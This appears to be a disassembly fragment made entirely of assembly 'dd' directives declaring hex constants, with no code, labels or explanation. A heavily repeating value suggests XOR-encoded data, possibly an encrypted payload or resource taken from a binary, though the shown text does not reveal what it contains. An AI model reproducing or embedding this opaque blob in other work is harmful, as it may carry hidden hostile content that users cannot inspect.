		dd 78856426h, 1F8AA1CAh, 0D27A0954h, 56BABBDBh,	0E1229532h
		dd 2FE8AF7h, 30E9E8B8h,	5A29BE99h, 59D5B132h, 56EAB7BBh
		dd 56FEBE32h, 59BAB132h, 595CF784h, 56AEB7B9h, 86DCD132h
		dd 0FDCAEA63h, 575CBE52h, 0AFEAB132h, 5675B9DAh, 5CD59A32h
		dd 0D2B70561h, 545B3123h, 46BED068h, 0AAABB132h, 56D5B7DBh
		dd 7AB59F32h, 0A51469F8h, 0DD424496h, 565258F5h, 0BC1BB132h
		dd 0B1AC2D89h, 0B708ED6Eh, 0BAD2DD10h, 5769BE76h, 0A375B132h
		dd 5035BE69h, 365DB132h, 0E0EE0E54h, 5DBEE853h,	1DABB132h
		dd 0BB3150BFh, 15F4358Bh, 0D87AB174h, 56BAB133h, 0DC52EFC7h
		dd 56AEB120h, 565B373Dh, 5142B132h, 0D9D5B132h,	0BED6766Dh
		dd 362A7D6Bh, 596C063Dh, 565DA8B8h, 56BA5832h, 3EF3B132h
		dd 0ABC03B0Ch, 2360365Fh, 0DC947180h, 6B252B99h, 9FDB707Bh
		dd 56495952h, 304FB132h, 6D9BF1A0h, 0E02E52CBh,	0DA743D2Dh
		dd 0F00975B1h, 0DC7ADF29h, 56BAB132h, 5E9FD069h, 4223BE32h
		dd 0BF57B132h, 56ABB13Dh, 0E1FB98DEh, 0D197CE18h, 9E858037h
		dd 3EE4DB3h, 36B13ACAh,	56A8343Dh, 0D358B132h, 56ABB132h
		dd 56D5B8DBh, 35D11F32h, 0BA2BAFABh, 36DB20DFh,	565D59CBh
		dd 0D7F4B132h, 0B9BE91D8h, 5B23BE35h, 36D5B132h, 7C245BB3h
		dd 0D713AFBDh, 37EB1AC4h, 56523B3Dh, 5C47B132h,	4557B132h
		dd 0AEC955A2h, 0FD832366h, 5EAF3A94h, 597A0752h, 56BAB3B0h
		dd 373CD132h, 6E2C38C7h, 36505E84h, 5740A54h, 0BFB4D0CBh
		dd 56EAB135h, 62819DA3h, 9FA05B38h, 564C303Dh, 5A47B132h
		dd 8B57B132h, 0DD3B7136h, 1A06526Dh, 36189E20h,	30BD3A54h
		dd 94DB60B9h, 0D052B136h, 56AEB133h, 0DDABE4CBh, 56AC58DEh
		dd 0D0A2B132h, 77A23859h, 0AEB13214h, 0BE46D1CEh, 565DB132h
		dd 0E8443068h, 0BF505EDBh, 56ABB123h, 3CCFBBF6h, 0A2A15E09h
		dd 0BC8CF137h, 1258CAE5h, 4ED3BE04h, 0BFAEB132h, 5657B121h
		dd 2F6C2345h, 0C4FC99D4h, 5ABC6C2Bh, 84194E0Eh,	912499F7h
		dd 565D4977h, 5F47B132h, 7957B132h, 79660F46h, 0B64EBB15h
		dd 5616F4F5h, 0BF75B132h, 56BAB139h, 921B0E8Ch,	365F8AB6h
		dd 659D4852h, 0AECB48F2h, 56D5A0DBh, 22E44832h,	0EEBA17FDh
		dd 0B56B7992h, 4380CF2Fh, 30CF9807h, 91AEAFB9h,	0B91393B0h
		dd 56D5B035h, 576ABE32h, 0A375B132h, 0C6413054h, 57D8BEA2h
		dd 0AEAEB132h, 59BF4AB2h, 56AE81B6h, 0EE6FD132h, 0DDBAA3FCh
		dd 3635D0FDh, 0FBB73B3h, 0D2529FBBh, 56AEB137h,	0F7803054h
		dd 0AD2BD08Fh, 5C51BEDBh, 0A3EAB137h, 0DA7AD172h, 56BAB131h
		dd 59853A54h, 56AEB4B2h, 91D6D732h, 0D6CABBA5h,	0D2DA5AC9h
		dd 56EAB5DBh, 56665852h, 0EA3CB132h, 4DDDB75Ah,	432DDA82h
		dd 0D2E11949h, 0CE33A2EFh, 5995D0D5h, 56EAA6BFh, 56675832h
		dd 8791B132h, 3BDAE44Eh, 5042B8EBh, 6A23942Eh, 34300D35h
		dd 56D5BDDBh, 779FAB32h, 2CC64C7Bh, 79B789F6h, 0A6BA31D5h
		dd 56B6353Dh, 45BEB132h, 88ABB132h, 2147B670h, 8EB86E24h
		dd 22642D6Bh, 88EDC4FAh, 0D73B170Bh, 592EBEC9h,	5653C5B6h
		dd 4525BE32h, 0BFD5B132h, 56EAB13Ch, 775A66CCh,	84DA0271h
		dd 0F8C9CA63h, 0D4ADEF99h, 51BEABD3h, 56ABB7DBh, 99098732h
		dd 16BEFBACh, 5674393Dh, 0BF43B132h, 565DB13Eh,	91040764h
		dd 0C05F0B3h, 831D3A8Bh, 59374AB2h, 56EEBEB6h, 0ADF54932h
		dd 8A3EBED1h, 0BF5DB131h, 56AEB134h, 9595851Eh,	0D7CD8DC9h
		dd 5936D6C9h, 56E95EB6h, 56725832h, 0C69AB132h,	183E0B19h
		dd 56BE58A7h, 2E5FB132h, 0A2BE035Ah, 0D4A725CDh, 0BB28B708h
		dd 0B5F56F25h, 5239BEC2h, 365DB132h, 0D6CFEB60h, 0D258C1C9h
		dd 56ABB2E3h, 0DCDAD152h, 56EAB132h, 5675A0DAh,	7CB6D532h
		dd 8DC12AD4h, 4B83A358h, 0B716A6Ah, 37F1EF0Eh, 56D4323Dh
		dd 3716B132h, 0AF6B3A54h, 0BF4252B2h, 565DB13Dh, 0CE4986DAh
		dd 0C9B4FA0Eh, 0A951D612h, 0D6795568h, 0D2E509C9h, 5675B06Fh
		dd 56BAA0DBh, 7871F232h, 0A0F4DAEh, 6CB0C844h, 11FE0D1Bh
		dd 68555336h, 686EBE37h, 5975B133h, 56BABBB2h, 0D552D132h
		dd 56AEB132h, 0D63669B8h, 0D2A49C0Ch, 56D5B017h, 56EAA5DBh
		dd 4FB6D932h, 398CB3FEh, 0B2AAD81Dh, 0F670DD99h, 83B0DB4Ch
		dd 3E953133h, 57D6353Dh, 5303B132h, 6775B132h, 77A570D7h
		dd 303DD172h, 59BC0D8Dh, 5657B1B6h, 0BFCAD032h,	56D5B13Fh
		dd 4CB8D7Ch, 3B77FC48h,	8702A754h, 74DF4E01h, 0BFA95E8Ah
		dd 5657B138h, 42463089h, 3F5E3B6Ch, 0DD8CC3C9h,	0B8F5D12Ch
		dd 8031D710h, 0AEBA3153h, 7B4C3052h, 374EBD6Bh,	0AD2AD7CBh
		dd 0D2DA59B3h, 56EAB193h, 567D3F3Dh, 0D9B5B132h, 565DB130h
		dd 0DDC8D052h, 0B1D7482Ch, 59CB49C2h, 0D7B3478Dh, 371319D1h
		dd 0D78E3054h, 203EBEF2h, 0AA5DB132h, 0BFFB4852h, 5657B134h
		dd 6399E779h, 0C42AA6D2h, 5105075Dh, 5674343Dh,	0B4FB132h
		dd 565DA5DBh, 77677B32h, 0F273B67h, 7A229676h, 0AF9676FEh
		dd 5AF238A9h, 0AA30388Ch, 56BAB6DBh, 0CD6F4532h, 0BDAF827Ah
		dd 565F383Dh, 0D4A4B132h, 56D5B130h, 598BD052h,	5675A0B9h
		dd 56B65832h, 4500B132h, 0FFC5D72Ah, 0BAEB5B0Eh, 2B28A599h
		dd 0D3DAB0CEh, 56EAB622h, 0D7CF3ACBh, 59BD5828h, 565DB0BBh
		dd 0BFFE4D32h, 5657B122h, 69855085h, 8D67CF0Ah,	0B97156E2h
		dd 6B3B8A19h, 0EE9833B9h, 36A1B6DDh, 0D6653A54h, 6F3667C3h
		dd 0BECB810Eh, 56D5B123h, 0EE37CFAh, 96716C15h,	0B5E53AA2h
		dd 794FFDE1h, 882FD7C0h, 0D7087A6Eh, 0BF2BE8F2h, 5B5D007h
		dd 425C68Dh, 9EFEEA06h,	0D4B5E953h, 565DB796h, 56AEBFDBh
		dd 1989C432h, 0BF87E500h, 1FA9F4E2h, 365E4970h,	3234218Bh
		dd 573DBE0Fh, 0AE5DB132h, 2F143A53h, 0BF505820h, 56ABB139h
		dd 87D4E865h, 5DD088C8h, 59C03E5Ah, 56BAA2B0h, 5BD0BE32h
		dd 0BFAEB132h, 5657B13Ah, 110A583Dh, 604F4822h,	56F85862h
		dd 0B709B132h, 0A54F14F7h, 523ABBD9h, 3426BDB0h, 7BA8B246h
		dd 0EE8933B9h, 6F2CB6DDh, 4603810Eh, 0F175B132h, 4FDDA445h
		dd 0C1ED266Ah, 0E97D15EAh, 0BF32C2F7h, 56ABB13Eh, 1ED2298Ah
		dd 75F7A4Dh, 0D5A25326h
		dd 5335BE6Ah, 365DB134h, 0C64E3054h, 0A7D6D714h, 0DDCAAF17h
		dd 0B9605088h, 0D6E5D135h, 5675B12Bh, 56BAA2DAh, 6C3C9C32h
		dd 44EA7F51h, 0A7C58005h, 884D760Bh, 4D1B81C8h,	2A50D169h
		dd 591D4034h, 37DB6985h, 87D6D752h, 0D5CFFB85h,	0B9E250B0h
		dd 0DF57A535h, 36B5D105h, 566CBE53h, 3775B132h,	0A831D763h
		dd 11D4D06Ah, 0A3FE4D22h, 0EE7533B9h, 0DAA4B6DDh, 56D5B12Fh
		dd 56FD363Dh, 449CB132h, 7BAB132h, 696AD5Eh, 0C2F8A436h
		dd 4CF72BA9h, 1B64D03Ah, 66C93A37h, 576CBE52h, 0AA75B132h
		dd 37E154B2h, 593D4D6Ah, 56AEA2B0h, 565A5932h, 71F1B132h
		dd 0BF2B82FDh, 0F3DCE970h, 0C48B50Ah, 3774063Dh, 0AE55EEBBh
		dd 56AB8EDBh, 56465832h, 625EB132h, 0D76A9E67h,	3DD8153Bh
		dd 1E12FFB7h, 9139376Dh, 565F4977h, 0D2A1B132h,	5657B135h
		dd 56AA3D3Dh, 0BF29B132h, 56EAB11Bh, 5675BADBh,	83F2CC32h
		dd 452EFA9Eh, 2F1E48E4h, 57AFF4F5h, 0BFABB132h,	56D5B13Fh
		dd 768A0070h, 4BEDCF6Ch, 4D2337A7h, 0B7E73A09h,	0AAA95E87h
		dd 0E3B633B1h, 0BFBFB6DDh, 56D5B138h, 3F011904h, 5A929A29h
		dd 61330DCDh, 564C5952h, 30D3B132h, 11440314h, 47FDE9D0h
		dd 9BE76F9Ch, 301B67C9h, 302C76B9h, 95DF7EB3h, 461A3853h
		dd 56AEBADBh, 0CBAF2032h, 5A781234h, 92E27E59h,	59E949B1h
		dd 567582B7h, 56BD5832h, 0BC1EB132h, 578106ABh,	0D49049FDh
		dd 51440910h, 56D5B130h, 56EAB6DBh, 0AFB80932h,	598BFB8Fh
		dd 565D93DBh, 4CED132h,	0DDECD769h, 375ED011h, 59D749B1h
		dd 56E877BFh, 567C5832h, 0D47EB132h, 0F1E6027Eh, 0D5C9A445h
		dd 5957494Fh, 56AB0CB6h, 0E0DA4832h, 5E03B074h,	8275B132h
		dd 0F5238F5Bh, 0FF40F37Eh, 56AEB1B2h, 563B343Dh, 0D1A4B132h
		dd 56D5B112h, 56F95952h, 0FBDBB132h, 77B9A7E1h,	0EE31BCFDh
		dd 0B9C6DA65h, 556D30ECh, 9F14E8D7h, 37D41E5Fh,	59B8D172h
		dd 5675B1B3h, 0E1B5EA32h, 0BEDED0E1h, 5125BE37h, 5957B132h
		dd 56ABB0B7h, 173C4432h, 59EAB132h, 5675ACB3h, 0A631D132h
		dd 565DA5DBh, 0FFD92A32h, 943BBEF2h, 0C41DBFF9h, 0E829D2C2h
		dd 0FAE88337h, 0A958D07Ch, 59BAB132h, 565DB9BBh, 8524D132h
		dd 23E40B54h, 53433253h, 9C62BE52h, 372B3A54h, 5675DEDBh
		dd 5D534832h, 0BF5DB132h, 0A6FB56D8h, 5D6E1C5Eh, 59F85953h
		dd 56D5BBB6h, 0DFE5D132h, 5675B132h, 0DDDB7EB9h, 0B9E593A8h
		dd 5328BE35h, 3657B132h, 375EEB62h, 36E6B5B9h, 56EAB8DBh
		dd 27F00532h, 0A5D24E6Ah, 0E95281DEh, 0D7A1D0E8h, 5657B135h
		dd 56AA323Dh, 0D20B132h, 56F8343Dh, 0BF15B132h,	56BAB138h
		dd 5549F1B8h, 4DA59A6Dh, 37AEAE6Fh, 56ABB19Bh, 9950BEB2h
		dd 36EAB132h, 5675B4DAh, 65B85232h, 9A1B471h, 56A05852h
		dd 260CB132h, 0C9D0A332h, 0CFE4FD3Ah, 0BE9D155Eh, 3714D052h
		dd 36DA7731h, 565DBEDBh, 9EAA1432h, 0A6953D7h, 0B486D8B7h
		dd 0E9D70644h, 308B76B8h, 0D51462B9h, 5542B4F2h, 0B9E593B0h
		dd 4D2DBE35h, 3657B132h, 56ABA3DAh, 774D0332h, 52358964h
		dd 0B050D788h, 435B9D3Eh, 8AE5813h, 0AFE6D0CEh,	0CC520952h
		dd 0DEA4AC9Ah, 56D5B130h, 0DF8BD052h, 5E9CB975h, 62BAB132h
		dd 0C5714789h, 0DFA7135Dh, 58BEBD75h, 37ABB132h, 897D0BFCh
		dd 0DAF708C6h, 2B0379EDh, 3353440Ah, 365DB130h,	5965063Dh
		dd 5657B3B8h, 37260532h, 56C5343Dh, 5D03B132h, 6A75B132h
		dd 42DDABEBh, 387E189Ah, 8E59AF93h, 5657B6DBh, 7117E232h
		dd 953E7B43h, 44037719h, 8B75B132h, 8ADAEC30h, 0F277CB83h
		dd 32A20F97h, 0A6ED778Eh, 56B958E9h, 0E39DB132h, 0D6638202h
		dd 7DFEED76h, 895137C5h, 0CBF579E3h, 0D7CE69C5h, 7194C1D1h
		dd 56A35832h, 0D335B132h, 515A96E7h, 0D51459A2h, 5353B4F2h
		dd 0CE5DB132h, 24B9205Dh, 0EE753331h, 1E5EB6DDh, 56D43B3Dh
		dd 0DF12B132h, 0DA7AB975h, 56BAB122h, 565DBADBh, 5F4ED632h
		dd 7A2C2E7h, 96D4A6E6h,	36D9F6BBh, 9B210A54h, 371E7EB2h
		dd 56BB16DBh, 593DD132h, 56AEB1BCh, 0BF364D32h,	56ABB13Ch
		dd 0A3EDED91h, 0ECA7933Ah, 73C76907h, 65DBB878h, 0D552D1F2h
		dd 56AEB131h, 0AAFF58B2h, 57ED3B53h, 0BE3A0152h, 56EAB120h
		dd 69536C1Bh, 0A8C00D2h, 0D2EF402Fh, 40723E2Bh,	0EE31E194h
		dd 37F0A7ABh, 0D3DA319Ah, 56EAB1FAh, 5675A3DBh,	19E94232h
		dd 0D0E85F63h, 15C6DE8Bh, 2ADA4D1Ah, 5564D2C3h,	0DDB3D1F4h
		dd 4169BEC2h, 0BE75B132h, 56BAB123h, 88CCC4Bh, 3F6460Fh
		dd 6491B5D9h, 63623777h, 0D5B4EF87h, 0D0E5B3F2h, 5675B13Eh
		dd 56BC373Dh, 0DE52B132h, 56AEB132h, 5657B089h,	8DA04832h
		dd 56E7353Dh, 598AB132h, 0DC147185h, 0B8636AA8h, 57DDBE35h
		dd 0A3AEB132h, 365652B2h, 56ABB8DAh, 34399432h,	11BC7702h
		dd 0E6C18BBDh, 0E90CD169h, 0E14E69B3h, 37CFDB2Ch, 5ABE7231h
		dd 0B5ABB132h, 529AF1B9h, 58436C98h, 0DF180896h, 0E9DAB975h
		dd 78C9A166h, 37663A54h, 5A1038C7h, 911CBE52h, 372B3A54h
		dd 56EA3EDBh, 57FCBE32h, 0A3BAB132h, 0BF3D69C5h, 56AEB120h
		dd 9440506Ch, 0FB5E66A6h, 9020871Ah, 1D57B133h,	3789FC90h
		dd 56BA4E17h, 56515832h, 0A5FAB132h, 0C34FC9AAh, 293DB861h
		dd 443CAB3Bh, 67EAB132h, 224BFB1Ah, 2CD79F0Dh, 15BCE3CCh
		dd 0F8DBE8C1h, 0BF919A88h, 56ABB122h, 46CDBC71h, 0FA25EB72h
		dd 15F52FD7h, 0E879E672h, 0E83D69C5h, 652FF816h, 58A73054h
		dd 9628D003h, 56DF5830h, 8FAAB132h, 65E9C214h, 1DFF9887h
		dd 0AF55F6BBh, 0AFA2F6BBh, 46DDBECAh, 59ABB132h, 56D5BBB6h
		dd 56EF5832h, 9DB9B132h, 378A9492h, 5DB478CEh, 97AEB132h
		dd 725D2768h, 493391F8h, 3616DE4Ch, 56EAB4DBh, 4B73AE32h
		dd 30EAEA51h, 2AC060B3h, 5147D06Bh, 0BA57B132h,	49879313h
		dd 0BF8071D0h, 56EAB137h, 0A3943DEDh, 0A43BD125h, 432B5F03h
		dd 4E390954h, 0BFBB3A53h, 56ABB13Ch, 0B566253Ch, 70CD1F5h
		dd 15738C95h, 9239581Ch, 0BF3D4DCEh, 56AEB138h,	0CB27BF8Fh
		dd 0E28DA13Ch, 30B591EDh, 797A6AB3h, 5675BEDBh,	8D13C132h
		dd 16AB8613h, 2694CDF2h, 0DF4B3B1Bh, 56AB5953h,	0D78FB132h
		dd 0B91F9DD8h, 0D17AD135h, 56BAB130h, 363C61B9h, 56AB5862h
		dd 4CAEB132h, 0E344B35h, 0E86F3A53h, 59ED5E87h,	5675B8B0h
		dd 0D74FD132h, 8F91D8F9h, 6552D039h, 0D858D1FBh, 56ABB130h
		dd 0E9DA57B8h, 6969D0C1h, 2FF1BE32h, 0AABAB137h, 0BE3DB6B9h
		dd 56AEB135h, 8EEFA615h, 0BFED0F2Dh, 56D5B13Dh,	0DB4B1EB2h
		dd 0B935DA7Dh, 0F2BDC574h, 0C38B592h, 3773054h,	23A8D0F5h
		dd 442CBE3Eh, 0BFD5B132h, 56EAB13Fh, 8BAB62A7h,	0DBC8D007h
		dd 0F746DE90h, 5EDB4EF3h, 5656343Dh, 65EB132h, 6D053052h
		dd 599FEE84h, 0BE144085h, 56BABB76h, 300E4452h,	910B68Bh
		dd 5997BA53h, 56ABF7B7h, 56C75832h, 0B7AAB132h,	4767D753h
		dd 266620A0h, 0EEF807A9h, 796B02C4h, 5937B6B9h,	37537E8Dh
		dd 5263052h, 0DD8F3972h, 7F9CD0E5h, 0BFBAB132h,	565DB121h
		dd 0A7A745DDh, 0D285F4F4h, 0BFB36D0Bh, 8AF005A6h, 0D5BC4976h
		dd 0BF8CA5F5h, 0A9454E04h, 0E7B53052h, 378E0B30h, 59ABF4BBh
		dd 56ABB0B0h, 0EEB54932h, 6770E7B5h, 5A004E53h,	5ECF4ECAh
		dd 565DA2DBh, 86CA0132h, 0A8C9AAC4h, 0FB51DC9Ch, 0CF68DFD5h
		dd 1B885292h, 0BF1586CDh
		dd 56BAB137h, 9DAB5Ah, 56A958FBh, 0F50CB132h, 9C0F90A4h
		dd 0DB3DD092h, 36EAB13Bh, 5675BDDBh, 0E9EFF532h, 0C07D9965h
		dd 0C074D9E2h, 37803AB8h, 0D2A47139h, 56D5B123h, 52D458CEh
		dd 0D615B132h, 873B5DF4h, 33C153E6h, 0AAEB3A53h, 5659313Dh
		dd 5F42B132h, 5CD5B132h, 0D2743068h, 0E5E230B7h, 0D4B5B60Bh
		dd 565DB526h, 56A93F3Dh, 0D658B132h, 56ABB133h,	0AA904ECEh
		dd 905DBE52h, 0D51476B9h, 59BAB54Dh, 565DD6B6h,	0DCA1D132h
		dd 5657B134h, 56AB353Dh, 5F3DB132h, 0AEEAB132h,	69A977B4h
		dd 4B558C34h, 565DA1DAh, 0E429E532h, 67DDFF8h, 0EDDCDCDFh
		dd 0DF4BDD59h, 37B4EA77h, 5679CEB1h, 5690353Dh,	0BFA5B132h
		dd 56AEB192h, 56435952h, 8727B132h, 6EED186Dh, 52EFF193h
		dd 1E37489Ah, 0FF789BE2h, 95DCA957h, 4F3BBDE9h,	379F3A6Ch
		dd 0A9544E8Ah, 0D7DAD1CDh, 56EAB132h, 0EF1479B9h, 56BAB137h
		dd 565C3D3Dh, 5952B132h, 5657AFBEh, 4E21BE32h, 0BFD5B132h
		dd 56EAB121h, 0BF525541h, 9BD047Bh, 81259C7Dh, 7F6F36CBh
		dd 0A577C85Bh, 0DDCDD199h, 56C459F8h, 7D37B132h, 0B13C6AA3h
		dd 0C4DAC278h, 483FFF8h, 0BE0597B3h, 5657B135h,	0BE7E5A0h
		dd 0E9358E8h, 2803D06Ah, 0BF8A4ECCh, 56BAB13Ah,	0DA9669B6h
		dd 0C067689Fh, 5347CEB1h, 56EC353Dh, 0D529B132h, 59ECA14Dh
		dd 5675CEB7h, 36FB4D32h, 2674C78Bh, 0E115D73Eh,	11DCD06Dh
		dd 5F43D136h, 0F1D5B132h, 626F7884h, 6DEFED17h,	0DCE2E962h
		dd 9D6D0E3h, 147443Eh, 5957B130h, 56ABB9B2h, 6367D132h
		dd 916B0E54h, 52323A53h, 56BAB8DBh, 7B36EB32h, 6959CB2Eh
		dd 0E93744F9h, 3666B968h, 835569B3h, 0DD8B8E22h, 469CBD6Dh
		dd 83BAB132h, 2ED40ABFh, 0C9D1CDC1h, 0AAC5BB1Eh, 0BF8049EDh
		dd 56D5B339h, 8855BE52h, 37AD3A54h, 0A3BEF6B9h,	56553F3Dh
		dd 0D4A1B132h, 5657B130h, 920D052h, 5E56BE3Eh, 59EAB132h
		dd 5675B3B0h, 6DDBD132h, 0D352B96Dh, 56AEB03Dh,	0C7EED752h
		dd 4CA4438h, 56D5B8DBh,	0B40F7932h, 3FF0ED0Ch, 131531Fh
		dd 0DC52D136h, 56AEB139h, 5657B7DBh, 3CF19C32h,	0DDFE14C9h
		dd 3C1D0ECh, 56735822h,	1A48B132h, 0C7C3B5B1h, 59BAE431h
		dd 5657BDB0h, 56AC5832h, 1D18B132h, 5C22C2A0h, 5A2A3A14h
		dd 56BB3D3Dh, 7DA8B132h, 422BBEE8h, 0BF57B132h,	56ABB13Dh
		dd 2B45D3BEh, 0CEEC8110h, 0B510B327h, 593375E3h, 565DAFBAh
		dd 4E2FBE32h, 0BF57B132h, 56ABB121h, 7A94E29Fh,	9A25CBF6h
		dd 0B427482Ah, 0F8D7BC7h, 0D56EF413h, 4247B4D9h, 0C457B132h
		dd 743A516Dh, 4A3F2D4Eh, 845151DBh, 0C74243D8h,	0C27FE7Dh
		dd 9FDCD752h, 4246E474h, 0A857B132h, 5620DAFh, 8BF1824Fh
		dd 6EF9CC41h, 4A23DCC0h, 30B9FEA7h, 37024AB9h, 56AEBEDBh
		dd 0BAE3CC32h, 39C20631h, 7B732C6Ah, 0DA6D4F9Bh, 567503DBh
		dd 4230BE32h, 0BF5DB132h, 56AEB13Dh, 8051E785h,	0D84AA664h
		dd 0AE65C390h, 0DD053480h, 3689B575h, 37720E3Dh, 3651EEB9h
		dd 42467BB9h, 0B057B132h, 88B48924h, 4F3BBCC3h,	0C9DB0B73h
		dd 88748D9Ch, 0BFEEDA91h, 565DB13Dh, 22C2F82Ch,	55617F97h
		dd 0E9C3EA33h, 0D914272h, 52B59A53h, 53FCBE52h,	30BAB132h
		dd 67669B3h, 3768063Dh,	56563D3Dh, 0D553B132h, 0D2DAB4D9h
		dd 56EAB13Fh, 4DE90852h, 0DEB5F25Ah, 565DB132h,	2324B253h
		dd 36505818h, 56ABBEDBh, 651DC332h, 111784B3h, 0E0F3D90Eh
		dd 514ECCA8h, 565DB7DAh, 6E2B7432h, 361E3BD6h, 0D5CAEE53h
		dd 59D6A14Dh, 56EA97B7h, 567B5832h, 0C8CAB132h,	0B9F71F17h
		dd 3037EA32h, 516D3CA8h, 5A23BE73h, 59D5B132h, 56EAB7BDh
		dd 56FBBE32h, 7DBAB132h, 0AD449EBh, 5047B033h, 3357B132h
		dd 274B4E92h, 583CD11Fh, 96EAB132h, 2211357Dh, 25D32EFh
		dd 5F317DB1h, 9E2FD1CBh, 55896A8Ah, 0EECAD0CAh,	0A92A4ECDh
		dd 56F9333Dh, 0BE15B132h, 56BAB13Ah, 0B670965Ah, 80B55F6Dh
		dd 0AFDCD769h, 56AE0853h, 0A529B132h, 56E75899h, 0B055B132h
		dd 0A35279A3h, 991CC50Ah, 0BFA7491Fh, 0A9A84A5Fh, 0AF14BE52h
		dd 4DED0864h, 37B5E2DBh, 567F5853h, 8029B132h, 4E1C364Bh
		dd 0F9DF4366h, 0E005D1FBh, 0AA13E820h, 37F456B3h, 36EAA1F0h
		dd 567E313Dh, 5053B132h, 2C5DB132h, 781DE068h, 370EE0EBh
		dd 56ABB6DBh, 75A7B632h, 6EB6125Bh, 0BAFE4467h,	56AE363Dh
		dd 59B4B132h, 62AEB132h, 623F5B82h, 0DEFAF0ACh,	0CD5A9F83h
		dd 926947C5h, 567858CEh, 4C2BB132h, 0D48B1B1Dh,	0B9668F84h
		dd 0AA57A78Ch, 56A55852h, 472FB132h, 704ECC78h,	0D4E080A2h
		dd 7AA92081h, 49B73152h, 0BECF9D82h, 5657B132h,	0D0413068h
		dd 0AED25EC9h, 56EAB6DBh, 6A1E5A32h, 2592719Eh,	0E8E73ACAh
		dd 36A95E87h, 5657A5DBh, 0CEC49832h, 29027F06h,	0D9CD2BB2h
		dd 0C3AE8C28h, 4888406h, 0F0CC0F1Fh, 65CFB03Bh,	0DDAFD1FBh
		dd 6928D0CAh, 0AC51BE32h, 59EAB131h, 5675BDB1h,	5036BE32h
		dd 595DB132h, 56AEB1B4h, 59503A32h, 56ABBDB2h, 5055BE32h
		dd 59EAB132h, 5675B1BDh, 5ACF4E32h, 565DB4DBh, 0FF635932h
		dd 23A8346Ch, 36FB493Ah, 0B1153054h, 56EF58F2h,	0CC5EB132h
		dd 3737DDE2h, 55A359CBh, 0D8A1B132h, 5657B136h,	379D0752h
		dd 0D3DA7139h, 56EAB10Ch, 56785852h, 48A5B132h,	6176FA36h
		dd 41C632E2h, 30512581h, 0DDCA42B9h, 56C75835h,	932EB132h
		dd 0C0960598h, 164BC53h, 0AE8128F3h, 1FE8AB0Ch,	5657F0DBh
		dd 0D7CDD132h, 0E4650DF3h, 9169D0EEh, 56665826h, 35D6B132h
		dd 0C965272Ah, 16F5681Dh, 4F64F1CDh, 3373FF6Eh,	0A9ED58F3h
		dd 45034ECDh, 6B75B132h, 1E184D75h, 998AAF82h, 0F46332D1h
		dd 0D6D0B31Dh, 132200E0h, 56DB58CEh, 8794B132h,	10DD5A6Bh
		dd 0E18DDDDh, 22359B24h, 0AFA2C4CDh, 0BF5FC4CDh, 56ABB13Bh
		dd 0ADBBEC0Ah, 0B45492CBh, 618A4D1Bh, 56BAB8DBh, 1B94BF32h
		dd 1D759A7Dh, 63BF3562h, 36ABB131h, 0D6EB7AB3h,	5B02E201h
		dd 9075B132h, 0A118B49Ch, 0CF0703C5h, 0D89A6975h, 370960B8h
		dd 5943E352h, 0D8D5B132h, 15C558A7h, 3F813E13h,	38F71F2Ch
		dd 0D072F99h, 96A5D0CAh, 566C353Dh, 0BFCBB132h,	56D5B139h
		dd 2FC973E6h, 34B07DB8h, 0D7174F3Dh, 8F3BC3F2h,	0D047D02Bh
		dd 5957B130h, 56ABA9BEh, 56C65832h, 43FB132h, 0CD5869B4h
		dd 0E7802E6Fh, 0B22CC87Ah, 0D16D9F4Fh, 0AA123A89h, 94713152h
		dd 59D28853h, 56E8E9B0h, 56735832h, 28B7B132h, 5E488F7Fh
		dd 3652F4CDh, 0F5BC31CAh, 52D43253h, 1A51BE32h,	59EAB132h
		dd 5675BBB9h, 56BF5832h, 0BB5B132h, 0D5DE4B2Ch,	5957BD4Dh
		dd 56AB83B6h, 56DB5832h, 0A43BB132h, 0C871327Eh, 0F82761A3h
		dd 0DFA44060h, 56AE3EDBh, 56595832h, 8E1FB132h,	1192EFA9h
		dd 35A0C694h, 0A7A687ACh, 56BB3B3Dh, 0EEA5B132h, 0A9514ECDh
		dd 56435952h, 78C4B132h, 0E628856Fh, 20428A8Fh,	0DF73622Fh
		dd 0D530F7EFh, 373DE8D8h, 0BF2FD769h, 0EF36E0FCh, 56ABB137h
		dd 56CF333Dh, 0BF8AB132h, 5675B121h, 7F8E98D0h,	88410094h
		dd 217651E2h, 4A82890Eh, 37932AF0h, 0DADA1AC1h,	56EAB128h
		dd 5661383Dh, 5953B132h, 575DB132h, 7D60B1EEh, 0E82E1E5Ah
		dd 261B1CAh, 3B3CEE96h,	0AA154ECCh, 5365CEB1h, 56EF353Dh
		dd 0ED3DB132h, 55052752h, 1A6D46B3h, 0D5CABA65h, 59D3A14Dh
		dd 56EA36B7h, 0D37AD132h
		dd 56BAB131h, 37BD5DB2h, 56AB5873h, 0EF6FB132h,	0DD3B1B2Bh
		dd 5C3CB575h, 84EAB132h, 88CFBD66h, 2D1AB054h, 5A023A47h
		dd 560758C7h, 0D558B132h, 56ABB135h, 56D4373Dh,	0DD13B132h
		dd 429CB575h, 58BAB132h, 702E4130h, 3484C1D7h, 0B5C9B77Ch
		dd 2992C8F2h, 0DD4E6380h, 0BF8ABD6Dh, 5675B139h, 0D3D5DD78h
		dd 0FE98E368h, 30D8FBE2h, 297479B3h, 56F55853h,	0D1DAB132h
		dd 56EAB13Ah, 56F5BE52h, 37BAB132h, 3659F6B9h, 56AE353Dh
		dd 0DE0B132h, 5AF43A53h, 7DB44D52h, 361FB56Dh, 0C52318Ah
		dd 8531D77Fh, 53B63253h, 56AEBDDBh, 0BFDCBB32h,	41AA1687h
		dd 21A5F9D0h, 469532D6h, 47F0BE31h, 0AEBAB132h,	56575873h
		dd 0B8F9B132h, 1C0321D1h, 0FC616790h, 0DF2C6819h, 36EBB06Eh
		dd 0FADE0F61h, 0BFE2D60Bh, 565DB13Ch, 0A8F68B26h, 525B6F92h
		dd 46D6EFA3h, 0EEB421CDh, 0A9154ECDh, 85F4D752h, 0D7DC338Fh
		dd 37DAC5ECh, 56AEB48Bh, 565B5832h, 5FC6B132h, 6052290Ah
		dd 0B537A5E8h, 591579FBh, 0DDDC4985h, 0FDAED0C3h, 56AEBADBh
		dd 0B06A7632h, 80E10166h, 0BE9920D0h, 0A917BADBh, 566658CDh
		dd 83FCB132h, 9D999A28h, 42E39D8Ah, 6595F5CCh, 3175ACB1h
		dd 0D8DAD0AAh, 56EAB139h, 5675B7DBh, 8B61B432h,	9F99FFA2h
		dd 56AEA3DBh, 8B147A32h, 0B04FF5FAh, 0CAD7735Fh, 7CF15382h
		dd 9477D4C9h, 59DAB13Ah, 565DB2BDh, 40663132h, 5657BEDAh
		dd 0ED158B32h, 0A8090632h, 87EAF46Eh, 51EFD1D9h, 0D34C7AB3h
